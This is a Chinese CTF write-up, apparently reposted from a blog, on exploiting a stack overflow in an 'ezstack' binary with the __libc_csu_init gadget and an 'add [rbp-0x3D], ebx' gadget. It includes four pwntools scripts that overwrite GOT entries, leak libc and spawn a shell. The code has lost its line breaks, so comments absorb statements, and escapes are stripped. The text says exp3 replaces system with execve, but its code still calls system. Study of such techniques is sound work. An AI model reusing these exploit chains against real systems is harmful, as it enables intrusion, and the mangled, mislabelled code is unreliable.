web选手入门pwn(20) ——csu+magic

1.    ezstack(csu+magic)

这题给了libc,建议用2.27-3ubuntu1_amd64做。

web选手入门pwn(20) ——csu+magic

web选手入门pwn(20) ——csu+magic

极致精简的栈溢出,除了NX其他保护全关。但是,没有puts/write/printf,got表上仅仅只有gets。没有任何输出函数意味着我们没法泄露libc,没有syscall意味着我们没法间接的使用输出函数。回想以前做过的题,还有什么呢?
理论上如果有call esp,或者允许跳转到任意地址执行,还可能是直接写shellcode,但这题开了NX,意味着栈不可执行,同时内存上没有同时允许写和执行的段。这条路也封死了。
经验老道的人看到Partial RELRO,会想到ret2dlresolve,这是一种比较复杂的万能gadget,条件之一就是Partial RELRO或者NO RELRO。
https://blog.csdn.net/qq_51868336/article/details/114644569
但是ret2dlresolve似乎在Partial RELRO需要用到write,这题不一定符合条件。

仔细在text段上找可利用的汇编,会发现一段不属于任何函数的magic gadget。

web选手入门pwn(20) ——csu+magic

add [rbp-0x3D], ebx;nop;ret;


这条指令会把寄存器 ebx的值加到 [rbp – 0x3d] 所指向的内存地址处。假设ebx=0x10,rbp-0x3D上是bss段,*0x601080=0x0,执行完之后*0x601080=0x10。

也就是说只要控制了rbp和ebx,就是受限制的任意地址写。为什么是受限的呢,显然如果0x601080上如果是一个未知且随机的值,你没法通过加法将它变成一个固定的值。
同时,这个容易发现的magic gadget也是这题降低难度的一个点,因为它还可以在别的地方偏移出来。
可以看到add [rbp-0x3D], ebx汇编机器码是01 5D C3。

web选手入门pwn(20) ——csu+magic

在__do_global_dtors_aux这个析构函数中,可以偏移出来这个机器码。

web选手入门pwn(20) ——csu+magic

web选手入门pwn(20) ——csu+magic

可以使用如下命令找出准确地址,然后进gdb看具体汇编。

ROPgadget --binary ./pwn --opcode 015dc3gdb ./pwnx/20i 0x00000000004005d8

web选手入门pwn(20) ——csu+magic

web选手入门pwn(20) ——csu+magic

虽然后面有点区别,但其实还是nop;ret;

到了这里就可以开始找pop rbp和pop ebx了。熟练的

ROPgadget --binary ./pwn --only "pop|ret"

web选手入门pwn(20) ——csu+magic

看起来没有ebx啊,这里又要提到另外一个万能gadget了——__libc_csu_init。
__libc_csu_init分为两部分。

web选手入门pwn(20) ——csu+magic

首先一眼就是pop rbx pop rbp的第一部分,r12-r15不影响我们使用,因此只需要第一部分,就就能完成和magic gadget的组合利用。

顺便再介绍下csu。
csu这个万能gadget之所以非常优秀,从第一部分的纯pop就能看得出来,它一下可以控制6个寄存器。尽管看起来没有x64关键的前三个参数rdi、rsi、rdx,但请注意我们用ROPgadget找出来的pop ret。

web选手入门pwn(20) ——csu+magic

是的,以前我们一直用的pop rdi和pop rsi,也是从它身上偏移出来的。
不光如此,结合第二部分,前三个mov直接控制了rdx、rsi、rdi。然后call [r12+rbx*8],r12和rbx又由我们控制,所以可以call到任意地址。

至此单独使用第一部分,可以控制整整8个寄存器,由第一部分跳到第二部分,可以再多控制一个rdx寄存器并且call到任意地址。

但如果我们只想要控制包括rdx在内的9个寄存器,而不想call怎么办呢?也就是绕过剩下的。

call  [r12+rbx*8]add  rbx, 1cmp  rbp, rbxjnz  short loc_4006D0

也很简单,只要满足rbx=0和r12=&_term_proc(_term_proc是一个空函数,这里r12要写它的函数指针,也就是存储0x400704的地址),就能让call  [r12+rbx*8]无效。
接着rbx=1,比较rbp, rbx,不对则重新跳转到0x4006D0,只需要提前设置rbp=1,jnz  short loc_4006D0也无效了。
随后再走一遍第一部分,之前必须设置的rbx=0,rbp=1,r12=&_term_proc再重新设置一遍,即可完美的控制9个寄存器。

回到题目上来,这里我们只需要用到csu的第一部分和magic gadget,即可实现劫持got表。等等,这题不需要泄露libc吗?答案是确实不需要。但题目提供了libc,刚好我们受限制的任意地址写是一个加法写,这使得我们可以直接用偏移劫持某个got到one_gadget上。这个got当然就是唯一的gets。

那么整个流程就出来了,先用csu,写入rbx=one_gadget-libc_gets,rbp=got_gets+0x3d,再用magic,最后跳转到main(_start)再调一次gets,即可完美进入one_gadget。

同时这题之所以给libc-2.27,也是为了降低难度,因为libc-2.27的one_gadget要求很低,以下是题目给的libc。

web选手入门pwn(20) ——csu+magic

用2.27-3ubuntu1_amd64做题exp如下

#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'context.arch='amd64'#sh = gdb.debug("./pwn","b *0x400682nc")sh = process("./pwn")elf = ELF('./pwn')
got_gets = elf.got['gets'] #0x601018print(hex(got_gets))
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")libc_gets = libc.sym['gets'] #0x800b0print(hex(libc_gets)) one = [0x4f2c5, 0x4f322, 0x10a38c]
magic_gadget = 0x4005d8 #0x400658csu_gadget = 0x4006EAmain_addr = 0x400510 #0x40065D
payload = "A" * 16 + p64(csu_gadget) + p64(one[2]-libc_gets) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0) + p64(magic_gadget) + p64(main_addr)sh.sendline(payload)sh.interactive()

web选手入门pwn(20) ——csu+magic

gdb中可以看到csu_gadget之后,寄存器的布局。

web选手入门pwn(20) ——csu+magic

web选手入门pwn(20) ——csu+magic

magic_gadget之后,got_gets被成功劫持。

web选手入门pwn(20) ——csu+magic

此时还有一个问题,one[0]和one[1]的相对地址是比libc_gets小的,必须要libc_gets加负数才能用。因此需要加个条件。

onelist = [0x4f2c5, 0x4f322, 0x10a38c]one = onelist[1]if one < libc_gets:    one = 0x10000000000000000 + (one - libc_gets)else:    one = one - libc_gets

不过最终还是因为rsp+x=null条件问题只有one[2]才能打成功,这个应该是标准答案。


但学习不止于此,发散思维,如果one_gadget全部打不通必须system(‘/bin/sh’)怎么办?设置寄存器和call system好办,/bin/sh的字符串地址却比较难找,bss/栈/data均没法用,所以还是只能泄露libc。
那么之前是rbx=one_gadget-libc_gets,rbp=got_gets+0x3d,核心思路是劫持got_gets到one_gadget。现在想泄露libc就得劫持got_gets到libc_puts,同时提前设置rdi为got_gets。也就是。

payload = b"A" * 16 payload += p64(pop_rdi) + p64(got_gets)payload += p64(csu_gadget) + p64(libc_puts-libc_gets) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0)payload += p64(magic_gadget)payload += p64(call_gets) #call_gets = 0x400682payload += p64(csu_gadget)

web选手入门pwn(20) ——csu+magic

成功泄露libc,不过记住此时的got_gets已经被篡改成libc_puts了,所以泄露的实际上是puts的真实地址。
但新的问题接踵而至,libc是泄露了,我们如何再执行一次gets栈溢出呢?看起来好像可以重新通过csu+magic把got_gets恢复成libc_gets,但实际操作起来就会发现call_gets没法ret到指定地址了。
PS:后来才知道其实没有那么麻烦,直接用plt_gets就行了。

web选手入门pwn(20) ——csu+magic

这是因为我们为了避免自己设置好的寄存器被其他汇编覆盖掉,直接跳转到call_gets,而下面有leave;ret进行栈迁移,把栈迁移到got_gets+0x3d上了,这样无论如何也没法继续执行了。

所以我们需要找到一个call got_xxx之后直接ret的汇编,很容易在init()中找到。

web选手入门pwn(20) ——csu+magic

而setvbuf()也在got表上,劫持setvbuf还解放了gets使得我们避免了改回got的麻烦操作。因此可以写出exp2。

#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'context.arch='amd64'#sh = gdb.debug("./pwn","b *0x400682nc")sh = process("./pwn")elf = ELF('./pwn')

got_gets = elf.got['gets'] #0x601018got_setvbuf = elf.got['setvbuf'] #0x601020print(hex(got_setvbuf))
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")libc_gets = libc.sym['gets'] #0x800b0libc_setvbuf = libc.sym['setvbuf'] #0x812f0libc_puts = libc.sym['puts'] #0x809c0libc_system = libc.sym['system']libc_binsh = libc.search('/bin/sh').next()print(hex(libc_setvbuf))
magic_gadget = 0x4005d8 #0x400658csu_gadget = 0x4006EApop_rdi = 0x4006f3ret = 0x400657main_addr = 0x400510 #0x40065Dcall_gets = 0x400682call_setvbuf = 0x400650
payload = b"A" * 16 payload += p64(pop_rdi) + p64(got_gets) #设置rdi为got,puts的第一个参数payload += p64(csu_gadget) + p64(0x10000000000000000+(libc_puts-libc_setvbuf)) + p64(got_setvbuf+0x3d) + p64(0) + p64(0) + p64(0) + p64(0) #csu+magic劫持got_setvbufpayload += p64(magic_gadget)payload += p64(call_setvbuf) #被劫持的setvbuf实际上为putspayload += p64(0)payload += p64(main_addr)
sh.sendline(payload)
libc_gets_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")libc_base = libc_gets_addr - libc_getsprint(hex(libc_base))
payload = b"A" * 16 payload += p64(ret)payload += p64(pop_rdi) + p64(libc_binsh + libc_base)payload += p64(libc_system + libc_base)
sh.sendline(payload)
sh.interactive()

web选手入门pwn(20) ——csu+magic

这就结束了?劫持got_gets真的无法解决栈迁移问题吗?还记得之前说过的csu第二部分吗?

它刚好可以通过call got_gets来执行puts(got_gets),且没有栈迁移的问题。泄露完再把got_gets改回去,跳转到_start上重新栈溢出即可。

#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'context.arch='amd64'sh = gdb.debug("./pwn","b *0x400682nc")#sh = process("./pwn")elf = ELF('./pwn')

got_gets = elf.got['gets'] #0x601018got_setvbuf = elf.got['setvbuf'] #0x601020print(hex(got_setvbuf))
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")libc_gets = libc.sym['gets'] #0x800b0libc_setvbuf = libc.sym['setvbuf'] #0x812f0libc_puts = libc.sym['puts'] #0x809c0libc_system = libc.sym['system']libc_binsh = libc.search('/bin/sh').next()print(hex(libc_setvbuf))
magic_gadget = 0x4005d8 #0x400658csu_gadget = 0x4006EAcsu_gadget2 = 0x4006D0pop_rdi = 0x4006f3ret = 0x400657main_addr = 0x400510 #0x40065Dcall_gets = 0x400682call_setvbuf = 0x400650
payload = b"A" * 16 payload += p64(csu_gadget) + p64(libc_puts-libc_gets) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0) #csu+magic劫持got_getspayload += p64(magic_gadget)payload += p64(csu_gadget) + p64(0) + p64(1) + p64(got_gets) + p64(got_gets) + p64(0) + p64(0) # csu两部分一起call putspayload += p64(csu_gadget2) + p64(0) * 7payload += p64(csu_gadget) + p64(0x10000000000000000-(libc_puts-libc_gets)) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0) #csu+magic将got_gets改回去payload += p64(magic_gadget)payload += p64(main_addr)
sh.sendline(payload)
libc_puts_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")libc_base = libc_puts_addr - libc_putsprint(hex(libc_base))
payload = b"A" * 16 payload += p64(ret)payload += p64(pop_rdi) + p64(libc_binsh + libc_base)payload += p64(libc_system + libc_base)
sh.sendline(payload)
sh.interactive()

但是最终却失败了,经过两份exp的动态调试对比,可以发现,在system()内部,调execve()的时候,rdx不对。

web选手入门pwn(20) ——csu+magic

很容易想到问题所在——我们栈溢出的payload太长了,导致覆盖了栈上的环境变量。而system()会从栈上取环境变量,放入rdx上,最终执行execve(‘/bin/sh’, ‘SHELL=/bin/bash’, ‘sh’)。回溯一下果然如此。

web选手入门pwn(20) ——csu+magic

第一次栈溢出之后

web选手入门pwn(20) ——csu+magic

但实际上execve的第二和第三个参数都是不必要的,因此将system换成execve即可getshell成功。以下是exp3。

#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'context.arch='amd64'sh = gdb.debug("./pwn","b *0x400682nc")#sh = process("./pwn")elf = ELF('./pwn')
got_gets = elf.got['gets'] #0x601018got_setvbuf = elf.got['setvbuf'] #0x601020print(hex(got_setvbuf))
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")libc_gets = libc.sym['gets'] #0x800b0libc_setvbuf = libc.sym['setvbuf'] #0x812f0libc_puts = libc.sym['puts'] #0x809c0libc_system = libc.sym['system']libc_binsh = libc.search('/bin/sh').next()print(hex(libc_setvbuf))
magic_gadget = 0x4005d8 #0x400658csu_gadget = 0x4006EAcsu_gadget2 = 0x4006D0pop_rdi = 0x4006f3ret = 0x400657main_addr = 0x400510 #0x40065Dcall_gets = 0x400682call_setvbuf = 0x400650
payload = b"A" * 16 payload += p64(csu_gadget) + p64(libc_puts-libc_gets) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0) #csu+magic劫持got_getspayload += p64(magic_gadget)payload += p64(csu_gadget) + p64(0) + p64(1) + p64(got_gets) + p64(got_gets) + p64(0) + p64(0) # csu两部分一起call putspayload += p64(csu_gadget2) + p64(0) * 7payload += p64(csu_gadget) + p64(0x10000000000000000-(libc_puts-libc_gets)) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0) #csu+magic将got_gets改回去payload += p64(magic_gadget)payload += p64(main_addr)
sh.sendline(payload)
libc_puts_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")libc_base = libc_puts_addr - libc_putsprint(hex(libc_base))
payload = b"A" * 16 payload += p64(ret)payload += p64(pop_rdi) + p64(libc_binsh + libc_base)payload += p64(libc_system + libc_base)
sh.sendline(payload)
sh.interactive()

web选手入门pwn(20) ——csu+magic


后来经朋友提醒,其实没有那么麻烦,csu第二部分可以用plt_gets代替,以下是exp4

#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'context.arch='amd64'#sh = gdb.debug("./pwn","b *0x400682nc")sh = process("./pwn")elf = ELF('./pwn')
plt_gets = elf.plt['gets']
got_gets = elf.got['gets'] #0x601018got_setvbuf = elf.got['setvbuf'] #0x601020print(hex(got_setvbuf))
libc = ELF("/home/sonomon/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc.so.6")libc_gets = libc.sym['gets'] #0x800b0libc_setvbuf = libc.sym['setvbuf'] #0x812f0libc_puts = libc.sym['puts'] #0x809c0libc_system = libc.sym['system']libc_binsh = libc.search('/bin/sh').next()print(hex(libc_setvbuf))
magic_gadget = 0x4005d8 #0x400658csu_gadget = 0x4006EApop_rdi = 0x4006f3ret = 0x400657main_addr = 0x400510 #0x40065Dcall_gets = 0x400682call_setvbuf = 0x400650
payload = b"A" * 16 payload += p64(csu_gadget) + p64(libc_puts-libc_gets) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0)payload += p64(magic_gadget)payload += p64(pop_rdi) + p64(got_gets)payload += p64(plt_gets)payload += p64(csu_gadget) + p64(0x10000000000000000-(libc_puts-libc_gets)) + p64(got_gets+0x3d) + p64(0) + p64(0) + p64(0) + p64(0)payload += p64(magic_gadget)payload += p64(main_addr)
sh.sendline(payload)
libc_puts_addr = u64(sh.recvuntil("x7f")[-6:]+"x00x00")libc_base = libc_puts_addr - libc_putsprint(hex(libc_base))
payload = b"A" * 16 payload += p64(ret)payload += p64(pop_rdi) + p64(libc_binsh + libc_base)payload += p64(libc_system + libc_base)
sh.sendline(payload)
sh.interactive()


原文始发于微信公众号(珂技知识分享):web选手入门pwn(20) ——csu+magic

版权声明:admin 发表于 2024年9月19日 下午7:35。
转载请注明:web选手入门pwn(20) ——csu+magic | CTF导航

相关文章